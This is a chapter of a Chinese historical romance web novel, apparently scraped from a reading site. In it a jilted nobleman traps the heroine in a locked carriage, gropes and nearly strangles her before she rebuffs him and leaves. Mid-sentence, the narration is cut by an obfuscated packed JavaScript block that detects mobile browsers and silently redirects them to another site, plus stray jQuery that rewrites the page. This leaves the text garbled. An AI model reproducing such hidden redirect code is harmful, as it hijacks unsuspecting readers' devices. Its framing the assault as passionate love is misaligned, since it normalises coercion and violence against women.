气愤之余,瞿幼璇落下的手犹在颤抖。
尤其是见到他被自己这一记响亮的巴掌,扇到侧脸垂头的地步。
隐隐约约可见,唇角破裂处划下一道血迹。
她砰砰的心跳声,因为心里那份微弱的恐慌而愈发放大。
似是感应到她的外强中干,阎湜彧抬起头回看她时,一双明亮的眼睛里,夹杂着悲喜,深处像是压足了火气、裹着熊熊燃烧的欲望,就这般直愣愣地、毫不掩饰自己的一切。
他从不觉得自己有丝毫言行有失的地方,反而扯动唇角用手背轻轻一抹,以舌抵腮,神情中竟然带着几分痛快,他一发笑,在这昏暗狭窄的车厢里倒格外引人注目。
视野在这狭小的空间里,因迅速眨动的双眼忽明忽暗。
她被他那痴心妄想和毫无顾忌的样子,着实是吓到了。狭窄的空间里连站起来都费劲,她几乎是本能地连连后缩,却逃不过被这双如狼似虎的眼神摄心夺魄。紧紧逼迫着她,叫她心乱如麻,打完人手刚刚撤开,就想夺门而去。
只是这门如何也无法撼动。
谭宗籍吸取教训,早早得了嘱咐,用一柄长剑横插在门拴上,锁的死死的,保准叫她推不开门。
瞿幼璇无论如何拍打、推阻、拉扯都无济于事,无法抽开这把卡的死死的长剑,还没来得及逃走,一回头查看情况,就先被阎湜彧顶着扇红了的脸,从背后往回抱。
“你就是太聪明了!”他咬着牙,“从来没有女子的柔顺!是家里耽误了你、太放纵你,叫你读书写字,有了自己的想法!”
阎湜彧死死扣着她,说不恨是假的,眼前这个负心薄幸人,是他多年以来刻舟求剑、苦追不放的一切因果。他们青梅竹马、两小无猜,即便是误会多年,错过许久,只是还没有机会互相坦率,就因为她的三心二意,在他最无力的时候,选择了别人,把他忘的一干二净……
“你放开!唔……”
瞿幼璇下意识咒骂他,却被他烦躁地捂住嘴巴。
阎湜彧怎能不恨她,可是一旦触及到她的一切,这份怒火就很是不争气地被水浇过般熄灭了,再也没有任何章法。
“你别做梦了,你以为我会叫你跟他双宿双飞,届时候生儿育女,叫他拥有我所肖想的一切?不可能!”
他声音嘶哑,言辞却激烈,也不管自己究竟在说些什么话,总之就如流水般从他的口中源源不断地冒了出来。
被他掐到有些窒息的瞿幼璇,被他抵在车厢上反抗不得。
她被捂住嘴巴,连求救叫喊都不能,只能哼哼唧唧地含糊威胁,满心无力地感受到他将手探进了青色的裙摆……
柔软的缎丝覆盖在他的手背,柔得不堪抵抗,在这份粗暴面前,显得这般无力。瞿幼璇并拢双腿,挣脱开一只手就去拉扯阻挡他的逼近,见他失神逼的越近,她越是狠下决心,不惜狠狠咬在他的虎口上,血腥气息在牙齿间弥漫,这才得到自由的解脱。
“你这个混蛋!”她怒极,连带着声音颤抖,“下作、无能的男人!只会用这样龌龊的手段伤害别人!呸!我看不起你!”
阎湜彧额上青筋蹦起,盯着她狼狈凌乱的模样,目光阴狠至极,“你以为我愿意如此吗?我倒是想正大光明,登堂入室,可你有给过我这中机会吗?”
他气到一把抓住她的肩,将她逼的不得不抬起头来,继续质问说:“是你你欺人太甚了。我爱慕你,你比谁都清楚。你甚至用来利用我,好!这我不怪你,可我问你,你给过我哪怕一次机会吗?”
瞿幼璇神色微愣,随即压低眉眼嫌恶地说:“我是没有直白地拒绝你,可你又不是傻子,我都没有回应过你,是你自己一厢情愿,情愿被我利用!你又在这里装什么无辜?”
说到这儿,她声线发凉,勾着嘴唇嘲讽,刺的他胸口寸寸收紧,道:“你的爱慕……你的爱慕比谁高贵吗?舅母和阎宜晴折磨我的时候,你怎么不说你爱慕我?现在我逃了出来,日子一点点好转了,在我最不需要的时候,你倒是跳出来,怨天怨地了!你有什么资格说爱慕我!”
她直刺他的心口,“我真不明白,你到底在爱些什么?是爱我恨你,还是爱我没有用荨麻草直接弄死你?”
话甫落下,他扣住她肩上的手猛然收紧,伤人的话在不顾一切说出来之后,放在瞿幼璇肩上的手,力道窒息地转向她的脖颈处……
“你闭嘴,闭嘴!”
这件事一直是深植在二人之间不可提及的禁区,二人都心有灵犀地从未主动提起过。即便是阎湜彧粗略地猜到了事情的整个始末,却一直将这件事压在心底里。
有些事只要不宣之于口就能忍受一辈子,可是一旦说破,就是破镜难圆……
阎湜彧恨她恨的咬牙切齿,她就是这么心狠,一直怀恨在心,即便多年后一直弥补,她始终难以忘怀。
“你为什么就是抓着过去不放呢?为什么不肯原谅我,我已经做了我能做的一切了!凭什么,这不公平!”
她眼前发黑,被他掐得快要断气。
眼瞧着她在他的手下几近窒息,他才察觉自己的失控,猛然松开了手。
瞿幼璇猛烈咳嗽,几乎喘不过气来,压抑多年的恨意一股脑地冒了出来,她道:“你觉得过去了,可我没有过去!事情不痛在你身上,你自然可以轻描淡写!怎么我一谈起寻麻草,你就过意不去了?”
阎湜彧瞳孔骤缩,瞬间哑口无言。
瞿幼璇见他那副急着为自己辩白的样子,只觉得心底一阵反胃,更添了厌弃。
“承认吧,人就是会过意不去的。”她冷淡地说,“所以每当我看到你,我都会想到过去的自己、种种的不幸。”
说完这句话,瞿幼璇冲着外面的谭宗籍喊道:“好狗不挡道,你这条好狗听清楚了没有?”
门外,谭宗籍早已料想里面的乱局,因此这一次他果断地将门打开。
语气都带着咄咄逼人,对着瞿幼璇说:“表小姐怎能如此对世子爷?世子爷在南省险些丧命,危难之间尚且呢喃表小姐的名字,恐怕自己无法撑过,甚至写好了遗书庇佑您。难道这些深情厚谊,都不算悔改吗?”
瞿幼璇回看阎湜彧,看他萎靡地靠在车厢边儿,撑额垂眸、浑身颓废地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827147|183643||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回望向自己的样子,她胸口却生出一阵畅快来。
“你算哪条狗,在我面前狺狺狂吠。”
意料之中,谭宗籍一瞬间僵住,随即顺从地让开,低下了头不再吭声,全然是个“驯服”的奴才样子,即便他握着剑的手指关节发白,吱吱作响。
既然他们喜欢玩儿这种上下尊卑的把戏,瞿幼璇也不妨享受一把压迫的感觉。
阎湜彧的声音自背后传来,低沉、几近破碎。
“你与我,就再无挽回的可能了吗?”
临走前,阎湜彧像终于缓过神来一般,把着车厢门在她身后寻求一个答案。
瞿幼璇没有回头,也不屑于回头,连脚步也没有逗留,说道:“早成定局,何必再自寻烦恼?”
他思索这么久的美梦,在她的巴掌落时从未动摇过,可是在她这些话冒出来的一瞬间,终于消解殆尽了。
残酷的现实,冷硬如铁,割的他心口血流不止。怒意混合着委屈,最后也就剩下了寒凉和清醒。
过去永远横亘在他们面前,叫他恼羞成怒的同时也越发心凉……
阎湜彧苦笑一声,即便狼狈至此,却也始终还有几分骨气,他没有理会谭宗籍的劝告,只是在手触及到那两碗已经冷掉了的奶酥茶时,一瞬间怔愣。
而后他利利落落地喝完那一碗奶酥茶,好似是一碗忘情水般,饮下后就两不相欠。亦不再做那丢人现眼的,收起了自己的狼狈模样,起身下了马车,带着谭宗籍离开……
等车夫慢悠悠地用过了饭,踩着点儿回来时,此地只剩下空落的车厢,而独不见主人家。
他心下大惊,以为是遭了抢劫,连忙转身跑回家里,给府里的人通风报信。
却没想到才跑了没多久,就与自己的“大救星”碰了头。
瞿幼璇也是在气头上,忘记了这一回事。等想起来时,只得往回走。
“吓死我了,娘子怎么自己跑出来了?我还以为娘子丢了呢!”
车夫大汗淋漓,一般是因为吓得,瞿幼璇看在眼里更加自责。
瞿幼璇深以为歉,苦笑着没有解释,说:“没什么,出来透透风。没想到走到这里来了,让你受惊了吧。”
车夫挠挠头,底层人黝黑的皮肤竟露出不好意思起来,忙说道:“是我吃酒误了时辰,现下出了一身汗,酒醒了!”
瞿幼璇微笑点头,同他闲聊起往回走。
“我累了,今日天气不大好,咱们还是早早回去吧。”
“唉!”车夫也不再打听,笑着就应承下来。
瞿幼璇望着没来得及收起的支桌上放着的两只碗,疲惫地摞起来。
竹帘遮不住光晕晒在她的脸上,有辛苦、疲惫,却没有后悔。
他们之间最好是能一刀两断的,与其纠缠,不如两两轻松。
当然,从今以后也用不着再虚与委蛇了,他的价值已经得到了利用,邓玲那边儿一切已经就位,就等送走张合德了。
一想到这里,原本还憋闷的人,渐渐也快活起来,她已经开始盘算起来,叫墨叔帮忙租赁掉宅子,打理生意了……